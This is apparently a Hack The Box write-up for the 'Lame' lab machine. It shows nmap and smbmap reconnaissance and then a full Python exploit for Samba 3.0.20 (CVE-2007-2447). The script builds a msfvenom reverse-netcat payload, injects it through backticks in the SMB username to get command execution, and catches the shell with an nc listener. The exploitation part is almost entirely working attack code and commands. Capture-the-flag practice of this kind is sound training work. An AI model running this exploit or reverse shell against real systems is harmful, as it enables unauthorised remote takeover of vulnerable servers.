Lame - Hack The Box
Reconnaissance
- Nmap
nmap -sS --open -p- --min-rate 5000 -vvv -n -Pn 10.10.10.3
- Vulnerability and version scan
nmap -sCV -p21,22,139,445,3632 -vvv 10.10.10.3
![[Pasted image 20250526213902.png]]
- SMB enumeration
smbmap -H 10.10.10.3
Exploitation
- Samba smbd 3.0.20-Debian (CVE-2007-2447)
https://github.com/n3rdh4x0r/CVE-2007-2447
#!/usr/bin/python3
#exploit Samba smbd 3.0.20-Debian
from smb import *
from smb.SMBConnection import *
from subprocess import getoutput
import argparse
def generate_payload(lh, lp):
payload = getoutput(f"msfvenom -p cmd/unix/reverse_netcat LHOST={lh} LPORT={lp} -f python 2>/dev/null | tail -n +1")
#print(type(lh), type(lp))
final_cmd = (payload)
#print(final_cmd)
"""
in case of a print statement
def get_payload():
tmp = sys.stdout
sys.stdout = StringIO()
exec(msfvenom() + "\nprint(buf)")
buf = sys.stdout.getvalue()
# restore stdout
sys.stdout = tmp
return buf
thanks to @Tony_Bamanaboni#0789 on discord
"""
l = {}
exec(final_cmd, {}, l)
return l["buf"]
def main():
parser = argparse.ArgumentParser(description = "Exploit Samba smbd 3.0.20-Debian CVE-2007-2447")
parser.add_argument("-lh", type=str, help="LHOST -> attacker", required=True)
parser.add_argument("-lp", type=str, help="LPORT -> attacker port", required=True)
parser.add_argument("-t", type=str, help="target -> target ip", required=True)
parser.usage = parser.format_help()
args = parser.parse_args()
#buf = generate_payload("10.10.14.170", 1337)
buf = generate_payload(args.lh, int(args.lp)).decode()
#print(f"here take the output biatch: {buf}")
#exit(-1)
print("Payload created & now sending it....")
userID = "/=` nohup " + buf + "`"
password = "password"
victim_ip = args.t
conn = SMBConnection(userID, password, "HELLO", "TEST", use_ntlm_v2=False)
conn.connect(victim_ip, 445)
if __name__ == '__main__':
main()
python3 exploit.py -lh 10.10.16.7 -lp 9000 -t 10.10.10.3
nc -nlvp 9000